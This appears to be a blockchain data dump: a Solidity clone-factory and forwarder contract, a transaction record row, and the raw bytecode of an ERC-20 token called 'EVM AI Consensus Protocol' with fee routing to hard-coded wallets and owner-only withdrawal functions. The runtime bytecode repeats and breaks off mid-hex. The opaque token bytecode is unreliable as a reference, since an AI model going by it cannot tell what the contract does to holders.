3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
pragma solidity 0.7.5; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target, bytes32 salt) internal returns (address payable result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the clone contract data let clone := mload(0x40) // The bytecode block below is responsible for contract initialization // during deployment, it is worth noting the proxied contract constructor will not be called during // the cloning procedure and that is why an initialization function needs to be called after the // clone is created mstore( clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) // This stores the address location of the implementation contract // so that the proxy knows where to delegate call logic to mstore(add(clone, 0x14), targetBytes) // The bytecode block is the actual code that is deployed for each clone created. // It forwards all calls to the already deployed implementation via a delegatecall mstore( add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // deploy the contract using the CREATE2 opcode // this deploys the minimal proxy defined above, which will proxy all // calls to use the logic defined in the implementation contract `target` result := create2(0, clone, 0x37, salt) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { // load the next free memory slot as a place to store the comparison clone let clone := mload(0x40) // The next three lines store the expected bytecode for a miniml proxy // that targets `target` as its implementation contract mstore( clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000 ) mstore(add(clone, 0xa), targetBytes) mstore( add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) // the next two lines store the bytecode of the contract that we are checking in memory let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) // Check if the expected bytecode equals the actual bytecode and return the result result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } /** * Contract that exposes the needed erc20 token functions */ abstract contract ERC20Interface { // Send _value amount of tokens to address _to function transfer(address _to, uint256 _value) public virtual returns (bool success); // Get the account balance of another account with address _owner function balanceOf(address _owner) public virtual view returns (uint256 balance); } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeApprove: approve failed' ); } function safeTransfer( address token, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::safeTransfer: transfer failed' ); } function safeTransferFrom( address token, address from, address to, uint256 value ) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require( success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper::transferFrom: transferFrom failed' ); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } } /** * Contract that will forward any incoming Ether to the creator of the contract * */ contract Forwarder { // Address to which any funds sent to this contract will be forwarded address public parentAddress; event ForwarderDeposited(address from, uint256 value, bytes data); /** * Initialize the contract, and sets the destination address to that of the creator */ function init(address _parentAddress) external onlyUninitialized { parentAddress = _parentAddress; uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); // NOTE: since we are forwarding on initialization, // we don't have the context of the original sender. // We still emit an event about the forwarding but set // the sender to the forwarder itself emit ForwarderDeposited(address(this), value, msg.data); } /** * Modifier that will execute internal code block only if the sender is the parent address */ modifier onlyParent { require(msg.sender == parentAddress, 'Only Parent'); _; } /** * Modifier that will execute internal code block only if the contract has not been initialized yet */ modifier onlyUninitialized { require(parentAddress == address(0x0), 'Already initialized'); _; } /** * Default function; Gets called when data is sent but does not match any other function */ fallback() external payable { flush(); } /** * Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address */ receive() external payable { flush(); } /** * Execute a token transfer of the full balance from the forwarder token to the parent address * @param tokenContractAddress the address of the erc20 token contract */ function flushTokens(address tokenContractAddress) external onlyParent { ERC20Interface instance = ERC20Interface(tokenContractAddress); address forwarderAddress = address(this); uint256 forwarderBalance = instance.balanceOf(forwarderAddress); if (forwarderBalance == 0) { return; } TransferHelper.safeTransfer( tokenContractAddress, parentAddress, forwarderBalance ); } /** * Flush the entire balance of the contract to the parent address. */ function flush() public { uint256 value = address(this).balance; if (value == 0) { return; } (bool success, ) = parentAddress.call{ value: value }(''); require(success, 'Flush failed'); emit ForwarderDeposited(msg.sender, value, msg.data); } } contract ForwarderFactory is CloneFactory { address public implementationAddress; event ForwarderCreated(address newForwarderAddress, address parentAddress); constructor(address _implementationAddress) { implementationAddress = _implementationAddress; } function createForwarder(address parent, bytes32 salt) external { // include the signers in the salt so any contract deployed to a given address must have the same signers bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt)); address payable clone = createClone(implementationAddress, finalSalt); Forwarder(clone).init(parent); emit ForwarderCreated(clone, parent); } }
1
19,493,248
a9a555ceaccfc90d570c08ad4ae9887735294a40aad8c4eed9fcdcf11aa530e6
799916048038c2f8e9bffeb236661bf9380b3c9e2432a0bb866f22bdb4b8db6f
f0afd55d159971886b0abe2ffef05318077f80af
f0afd55d159971886b0abe2ffef05318077f80af
593c688d004a726b58454a3503f7645e89d824fa
60a060405269043c33c193756480000060015569043c33c193756480000060025561271069d3c21bcecceda100000060026200003c919062000574565b6200004891906200059e565b6003556004805461ff0019166101001790555f6006553480156200006a575f80fd5b505f80546001600160a01b031916331790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa158015620000cb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000f19190620005be565b6040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260248201526001600160a01b03919091169063c9c65396906044016020604051808303815f875af115801562000151573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001779190620005be565b6001600160a01b031660808190525f908152600b60205260409020805460ff19166001179055620001d6620001b35f546001600160a01b031690565b6001600160a01b03165f908152600960205260409020805460ff19166001179055565b60096020527f960b1051749987b45b5679007fff577a1c2f763ec21c15a6c5eb1930750037858054600160ff1991821681179092557f7f2f1488d5415175d4a5d42090b4c84e28eb433b1c9cc73610a9a80790d3237e80548216831790557f31f571c7933241acd47b4abd99073875fe7b66d510d515a9aae298253fe846e580548216831790557fcf4e0aa4fdc04465c76f0be2025da7c799c6d8d5fdb3f9fd640fed0b5484c5bc8054821683179055305f908152604081208054909216909217905554620002cb906001600160a01b03166001600160a01b03165f908152600a60205260409020805460ff19166001179055565b600a60209081527fc90215bb1b0ac6bfa50a3c02c4b559c695b6a8e828048a88e327592fc55c5d2c8054600160ff199182168117909255305f818152604080822080548516861790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb80548516861790556080516001600160a01b0316825280822080548516861790557f39cf0133f20f4e79b7dc134094db25a105aa5e9c6a0e54ac84dc2cfd1ba9963a80548516861790557f8a559358092f69964f4983b6afb6a1a2f8ae69d63fff3acf8dd4314178dc327480548516861790557f817c3590631a4b07ba42bc2c49152330b99861feeedc032d777359d9c2868ffd80549094169094179092558082526007845282822069d3c21bcecceda10000009081905583519081529251909391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92908290030190a36200044330737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000449565b620005ed565b6001600160a01b038316620004b15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b038216620005145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620004a8565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b80820281158282048414176200059857634e487b7160e01b5f52601160045260245ffd5b92915050565b5f82620005b957634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215620005cf575f80fd5b81516001600160a01b0381168114620005e6575f80fd5b9392505050565b6080516121116200060d5f395f8181610327015261073101526121115ff3fe6080604052600436106101c8575f3560e01c80639a7a23d6116100f2578063cfa7159311610092578063dd62ed3e11610062578063dd62ed3e14610529578063e2f456051461056d578063e8078d9414610582578063f8b45b051461058a575f80fd5b8063cfa7159314610259578063d00efb2f146104f5578063d201b01e1461050a578063d85ba06314610367575f80fd5b8063b70143c9116100cd578063b70143c91461048e578063bc205ad3146104ad578063c8c8ebe4146104cc578063c9567bf9146104e1575f80fd5b80639a7a23d614610422578063a9059cbb14610441578063b62496f514610460575f80fd5b806349bd5a5e11610168578063715018a611610138578063715018a6146103af578063751039fc146103c55780638da5cb5b146103d957806395d89b41146103f5575f80fd5b806349bd5a5e146103165780634a62bb65146103495780636a486a8e1461036757806370a082311461037b575f80fd5b80631694505e116101a35780631694505e1461027b57806318160ddd146102ba57806323b872dd146102d6578063313ce567146102f5575f80fd5b806306fdde03146101d3578063095ea7b31461022a5780630e14ebdc14610259575f80fd5b366101cf57005b5f80fd5b3480156101de575f80fd5b5060408051808201909152601981527f45564d20414920436f6e73656e7375732050726f746f636f6c0000000000000060208201525b6040516102219190611dde565b60405180910390f35b348015610235575f80fd5b50610249610244366004611e2b565b61059f565b6040519015158152602001610221565b348015610264575f80fd5b5061026d60c881565b604051908152602001610221565b348015610286575f80fd5b506102a2737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610221565b3480156102c5575f80fd5b5069d3c21bcecceda100000061026d565b3480156102e1575f80fd5b506102496102f0366004611e53565b6105b5565b348015610300575f80fd5b5060125b60405160ff9091168152602001610221565b348015610321575f80fd5b506102a27f000000000000000000000000000000000000000000000000000000000000000081565b348015610354575f80fd5b5060045461024990610100900460ff1681565b348015610372575f80fd5b50610304603281565b348015610386575f80fd5b5061026d610395366004611e8c565b6001600160a01b03165f9081526007602052604090205490565b3480156103ba575f80fd5b506103c3610669565b005b3480156103d0575f80fd5b506103c36106b2565b3480156103e4575f80fd5b505f546001600160a01b03166102a2565b348015610400575f80fd5b5060408051808201909152600581526445564d414960d81b6020820152610214565b34801561042d575f80fd5b506103c361043c366004611ebc565b6106f7565b34801561044c575f80fd5b5061024961045b366004611e2b565b6107da565b34801561046b575f80fd5b5061024961047a366004611e8c565b600b6020525f908152604090205460ff1681565b348015610499575f80fd5b506103c36104a8366004611ef1565b6107e6565b3480156104b8575f80fd5b506103c36104c7366004611f08565b610b27565b3480156104d7575f80fd5b5061026d60015481565b3480156104ec575f80fd5b506103c3610bd9565b348015610500575f80fd5b5061026d60055481565b348015610515575f80fd5b506103c3610524366004611e8c565b610c81565b348015610534575f80fd5b5061026d610543366004611f08565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610578575f80fd5b5061026d60035481565b6103c3610d96565b348015610595575f80fd5b5061026d60025481565b5f6105ab338484610e85565b5060015b92915050565b6001600160a01b0383165f9081526008602090815260408083203384529091528120545f19811461065357828110156106465760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106538533858403610e85565b61065e858585610fa9565b506001949350505050565b3361067b5f546001600160a01b031690565b6001600160a01b0316146106a15760405162461bcd60e51b815260040161063d90611f39565b5f80546001600160a01b0319169055565b336106c45f546001600160a01b031690565b6001600160a01b0316146106ea5760405162461bcd60e51b815260040161063d90611f39565b6004805461ff0019169055565b336107095f546001600160a01b031690565b6001600160a01b03161461072f5760405162461bcd60e51b815260040161063d90611f39565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316036107b05760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f766564000000000000604482015260640161063d565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f6105ab338484610fa9565b336107f85f546001600160a01b031690565b6001600160a01b03161461081e5760405162461bcd60e51b815260040161063d90611f39565b5f81116108605760405162461bcd60e51b815260206004820152601060248201526f24b73b30b634b2103832b931b2b73a1760811b604482015260640161063d565b60648111156108a45760405162461bcd60e51b815260206004820152601060248201526f24b73b30b634b2103832b931b2b73a1760811b604482015260640161063d565b305f908152600760205260408120546064906108c09084611f82565b6108ca9190611f99565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f8151811061090257610902611fb8565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061094a5761094a611fb8565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906109a19085905f90869030904290600401611fcc565b5f604051808303815f87803b1580156109b8575f80fd5b505af11580156109ca573d5f803e3d5ffd5b504792505081159050610b21575f60646109e5604b84611f82565b6109ef9190611f99565b90505f60646109ff600a85611f82565b610a099190611f99565b6040519091505f9073f0afd55d159971886b0abe2ffef05318077f80af9083908381818185875af1925050503d805f8114610a5f576040519150601f19603f3d011682016040523d82523d5f602084013e610a64565b606091505b5050604051909150733aad4c021ff139f5ced4f44fbe56734e197c35729084905f81818185875af1925050503d805f8114610aba576040519150601f19603f3d011682016040523d82523d5f602084013e610abf565b606091505b50506040519091507396fd0a9f7212fe44b21d275bf605db5d1bad8a4f9047905f81818185875af1925050503d805f8114610b15576040519150601f19603f3d011682016040523d82523d5f602084013e610b1a565b606091505b5050505050505b50505050565b33610b395f546001600160a01b031690565b6001600160a01b031614610b5f5760405162461bcd60e51b815260040161063d90611f39565b6040516370a0823160e01b81523060048201525f906001600160a01b038416906370a0823190602401602060405180830381865afa158015610ba3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bc7919061203d565b9050610bd4838383611a0c565b505050565b33610beb5f546001600160a01b031690565b6001600160a01b031614610c115760405162461bcd60e51b815260040161063d90611f39565b60045462010000900460ff1615610c6a5760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c7265616479206c61756e636865640000000000000000604482015260640161063d565b436005556004805462ff0000191662010000179055565b33610c935f546001600160a01b031690565b6001600160a01b031614610cb95760405162461bcd60e51b815260040161063d90611f39565b6001600160a01b038116610d015760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161063d565b5f816001600160a01b0316476040515f6040518083038185875af1925050503d805f8114610d4a576040519150601f19603f3d011682016040523d82523d5f602084013e610d4f565b606091505b5050905080610d925760405162461bcd60e51b815260206004820152600f60248201526e15da5d1a191c985dc819985a5b1959608a1b604482015260640161063d565b5050565b33610da85f546001600160a01b031690565b6001600160a01b031614610dce5760405162461bcd60e51b815260040161063d90611f39565b305f8181526007602052604080822054905163f305d71960e01b81526004810193909352602483015260448201819052606482015273f0afd55d159971886b0abe2ffef05318077f80af60848201524260a4820152737a250d5630b4cf539739df2c5dacb4c659f2488d9063f305d71990349060c40160606040518083038185885af1158015610e60573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bd49190612054565b6001600160a01b038316610ee75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063d565b6001600160a01b038216610f485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063d565b6001600160a01b038381165f8181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661100d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063d565b6001600160a01b03821661106f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063d565b5f81116110d05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063d565b60045462010000900460ff1615801561112357505f546001600160a01b0384811691161480159061110a57506001600160a01b0383163014155b801561112357505f546001600160a01b03838116911614155b156111665760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b604482015260640161063d565b600454610100900460ff161561141e575f546001600160a01b038481169116148015906111a057505f546001600160a01b03838116911614155b80156111b457506001600160a01b03821615155b80156111cb57506001600160a01b03821661dead14155b80156111da575060045460ff16155b1561141e576001600160a01b0383165f908152600b602052604090205460ff16801561121e57506001600160a01b0382165f908152600a602052604090205460ff16155b156112f1576001548111156112835760405162461bcd60e51b815260206004820152602560248201527f427579207472616e7366657220616d6f756e74206578636565647320746865206044820152640dac2f0e8f60db1b606482015260840161063d565b6002546001600160a01b0383165f908152600760205260409020546112a8908361207f565b11156112ec5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161063d565b61141e565b6001600160a01b0382165f908152600b602052604090205460ff16801561133057506001600160a01b0383165f908152600a602052604090205460ff16155b15611396576001548111156112ec5760405162461bcd60e51b815260206004820152602660248201527f53656c6c207472616e7366657220616d6f756e74206578636565647320746865604482015265040dac2f0e8f60d31b606482015260840161063d565b6001600160a01b0382165f908152600a602052604090205460ff1661141e576002546001600160a01b0383165f908152600760205260409020546113da908361207f565b111561141e5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161063d565b6001600160a01b0383165f9081526009602052604090205460ff168061145b57506001600160a01b0382165f9081526009602052604090205460ff165b801561147057506001600160a01b0383163014155b801561148557506001600160a01b0382163014155b801561149e57505f546001600160a01b03848116911614155b156114a85742600c555b6001600160a01b0383165f9081526009602052604090205460ff1680156114db57506005546114d890604661207f565b43115b15611541576001600160a01b038084165f81815260076020526040808220805486900390559285168082529083902080548501905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f9c9085815260200190565b6001600160a01b0383165f9081526009602052604090205460ff1615801561158157506001600160a01b0382165f9081526009602052604090205460ff16155b15611689576001600160a01b0382165f908152600b602052604090205460ff16156115dd576001600160a01b0383165f908152600d60205260409020600c5481546115cc9190612092565b600282015542600190910155611689565b6001600160a01b038083165f908152600d602090815260408083209387168352600b90915290205460ff161561165557600b600654101561162a5760065461162690600161207f565b6006555b80545f0361165057600b60065410611642574261164d565b61164d600142612092565b81555b611687565b6001600160a01b0384165f908152600d602052604090208154158061167b575081548154105b1561168557805482555b505b505b305f908152600760205260408120546005549091906116a990600a61207f565b431090505f60035483101590508080156116c6575060045460ff16155b80156116ea57506001600160a01b0386165f908152600b602052604090205460ff16155b801561170e57506001600160a01b0386165f9081526009602052604090205460ff16155b801561173257506001600160a01b0385165f9081526009602052604090205460ff16155b15611757576004805460ff1916600117905561174c611b33565b6004805460ff191690555b6004546001600160a01b0387165f9081526009602052604090205460ff9182161591168061179c57506001600160a01b0386165f9081526009602052604090205460ff165b156117a457505f5b6001600160a01b0387165f908152600760205260409020548581101561181b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161063d565b5f82156119985784156118ae576001600160a01b0388165f908152600b602052604090205460ff16801561184d575060015b15611871576103e861186060c889611f82565b61186a9190611f99565b905061192b565b6001600160a01b0389165f908152600b602052604090205460ff168015611896575060015b156118a9576103e861186060c889611f82565b61192b565b6001600160a01b0388165f908152600b602052604090205460ff1680156118d3575060015b156118e6576103e8611860603289611f82565b6001600160a01b0389165f908152600b602052604090205460ff16801561190b575060015b1561192b576103e861191e603289611f82565b6119289190611f99565b90505b8015611998576001600160a01b0389165f8181526007602090815260408083208054869003905530808452928190208054860190555184815299849003999192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b03808a165f8181526007602052604080822080548c90039055928b168082529083902080548b01905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119f9908b815260200190565b60405180910390a3505050505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291515f92839290871691611a6791906120a5565b5f604051808303815f865af19150503d805f8114611aa0576040519150601f19603f3d011682016040523d82523d5f602084013e611aa5565b606091505b5091509150818015611acf575080511580611acf575080806020019051810190611acf91906120c0565b611b2c5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657248656c7065723a20494e5445524e414c205452414e5346456044820152671497d1905253115160c21b606482015260840161063d565b5050505050565b6003545f611b42826014611f82565b305f908152600760205260409020541115611b6857600354611b65906014611f82565b91505b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611b9b57611b9b611fb8565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611be357611be3611fb8565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac94790611c3a9086905f90869030904290600401611fcc565b5f604051808303815f87803b158015611c51575f80fd5b505af1158015611c63573d5f803e3d5ffd5b504792505081159050610b21575f6064611c7e604b84611f82565b611c889190611f99565b90505f6064611c98600a85611f82565b611ca29190611f99565b60405190915073f0afd55d159971886b0abe2ffef05318077f80af9082905f81818185875af1925050503d805f8114611cf6576040519150601f19603f3d011682016040523d82523d5f602084013e611cfb565b606091505b5050604051909550733aad4c021ff139f5ced4f44fbe56734e197c35729083905f81818185875af1925050503d805f8114611d51576040519150601f19603f3d011682016040523d82523d5f602084013e611d56565b606091505b50506040519095507396fd0a9f7212fe44b21d275bf605db5d1bad8a4f9047905f81818185875af1925050503d805f8114611dac576040519150601f19603f3d011682016040523d82523d5f602084013e611db1565b606091505b505050505050505050565b5f5b83811015611dd6578181015183820152602001611dbe565b50505f910152565b602081525f8251806020840152611dfc816040850160208701611dbc565b601f01601f19169190910160400192915050565b80356001600160a01b0381168114611e26575f80fd5b919050565b5f8060408385031215611e3c575f80fd5b611e4583611e10565b946020939093013593505050565b5f805f60608486031215611e65575f80fd5b611e6e84611e10565b9250611e7c60208501611e10565b9150604084013590509250925092565b5f60208284031215611e9c575f80fd5b611ea582611e10565b9392505050565b8015158114611eb9575f80fd5b50565b5f8060408385031215611ecd575f80fd5b611ed683611e10565b91506020830135611ee681611eac565b809150509250929050565b5f60208284031215611f01575f80fd5b5035919050565b5f8060408385031215611f19575f80fd5b611f2283611e10565b9150611f3060208401611e10565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176105af576105af611f6e565b5f82611fb357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561201c5784516001600160a01b031683529383019391830191600101611ff7565b50506001600160a01b03969096166060850152505050608001529392505050565b5f6020828403121561204d575f80fd5b5051919050565b5f805f60608486031215612066575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156105af576105af611f6e565b818103818111156105af576105af611f6e565b5f82516120b6818460208701611dbc565b9190910192915050565b5f602082840312156120d0575f80fd5b8151611ea581611eac56fea2646970667358221220336fc751fbd0cce72c45a994848d292c60a79024f7850c828caa6945a86a077864736f6c63430008180033
6080604052600436106101c8575f3560e01c80639a7a23d6116100f2578063cfa7159311610092578063dd62ed3e11610062578063dd62ed3e14610529578063e2f456051461056d578063e8078d9414610582578063f8b45b051461058a575f80fd5b8063cfa7159314610259578063d00efb2f146104f5578063d201b01e1461050a578063d85ba06314610367575f80fd5b8063b70143c9116100cd578063b70143c91461048e578063bc205ad3146104ad578063c8c8ebe4146104cc578063c9567bf9146104e1575f80fd5b80639a7a23d614610422578063a9059cbb14610441578063b62496f514610460575f80fd5b806349bd5a5e11610168578063715018a611610138578063715018a6146103af578063751039fc146103c55780638da5cb5b146103d957806395d89b41146103f5575f80fd5b806349bd5a5e146103165780634a62bb65146103495780636a486a8e1461036757806370a082311461037b575f80fd5b80631694505e116101a35780631694505e1461027b57806318160ddd146102ba57806323b872dd146102d6578063313ce567146102f5575f80fd5b806306fdde03146101d3578063095ea7b31461022a5780630e14ebdc14610259575f80fd5b366101cf57005b5f80fd5b3480156101de575f80fd5b5060408051808201909152601981527f45564d20414920436f6e73656e7375732050726f746f636f6c0000000000000060208201525b6040516102219190611dde565b60405180910390f35b348015610235575f80fd5b50610249610244366004611e2b565b61059f565b6040519015158152602001610221565b348015610264575f80fd5b5061026d60c881565b604051908152602001610221565b348015610286575f80fd5b506102a2737a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610221565b3480156102c5575f80fd5b5069d3c21bcecceda100000061026d565b3480156102e1575f80fd5b506102496102f0366004611e53565b6105b5565b348015610300575f80fd5b5060125b60405160ff9091168152602001610221565b348015610321575f80fd5b506102a27f00000000000000000000000093da9af881b21202963263cbb1faa9dc2ae19fd981565b348015610354575f80fd5b5060045461024990610100900460ff1681565b348015610372575f80fd5b50610304603281565b348015610386575f80fd5b5061026d610395366004611e8c565b6001600160a01b03165f9081526007602052604090205490565b3480156103ba575f80fd5b506103c3610669565b005b3480156103d0575f80fd5b506103c36106b2565b3480156103e4575f80fd5b505f546001600160a01b03166102a2565b348015610400575f80fd5b5060408051808201909152600581526445564d414960d81b6020820152610214565b34801561042d575f80fd5b506103c361043c366004611ebc565b6106f7565b34801561044c575f80fd5b5061024961045b366004611e2b565b6107da565b34801561046b575f80fd5b5061024961047a366004611e8c565b600b6020525f908152604090205460ff1681565b348015610499575f80fd5b506103c36104a8366004611ef1565b6107e6565b3480156104b8575f80fd5b506103c36104c7366004611f08565b610b27565b3480156104d7575f80fd5b5061026d60015481565b3480156104ec575f80fd5b506103c3610bd9565b348015610500575f80fd5b5061026d60055481565b348015610515575f80fd5b506103c3610524366004611e8c565b610c81565b348015610534575f80fd5b5061026d610543366004611f08565b6001600160a01b039182165f90815260086020908152604080832093909416825291909152205490565b348015610578575f80fd5b5061026d60035481565b6103c3610d96565b348015610595575f80fd5b5061026d60025481565b5f6105ab338484610e85565b5060015b92915050565b6001600160a01b0383165f9081526008602090815260408083203384529091528120545f19811461065357828110156106465760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106538533858403610e85565b61065e858585610fa9565b506001949350505050565b3361067b5f546001600160a01b031690565b6001600160a01b0316146106a15760405162461bcd60e51b815260040161063d90611f39565b5f80546001600160a01b0319169055565b336106c45f546001600160a01b031690565b6001600160a01b0316146106ea5760405162461bcd60e51b815260040161063d90611f39565b6004805461ff0019169055565b336107095f546001600160a01b031690565b6001600160a01b03161461072f5760405162461bcd60e51b815260040161063d90611f39565b7f00000000000000000000000093da9af881b21202963263cbb1faa9dc2ae19fd96001600160a01b0316826001600160a01b0316036107b05760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f766564000000000000604482015260640161063d565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f6105ab338484610fa9565b336107f85f546001600160a01b031690565b6001600160a01b03161461081e5760405162461bcd60e51b815260040161063d90611f39565b5f81116108605760405162461bcd60e51b815260206004820152601060248201526f24b73b30b634b2103832b931b2b73a1760811b604482015260640161063d565b60648111156108a45760405162461bcd60e51b815260206004820152601060248201526f24b73b30b634b2103832b931b2b73a1760811b604482015260640161063d565b305f908152600760205260408120546064906108c09084611f82565b6108ca9190611f99565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f8151811061090257610902611fb8565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061094a5761094a611fb8565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906109a19085905f90869030904290600401611fcc565b5f604051808303815f87803b1580156109b8575f80fd5b505af11580156109ca573d5f803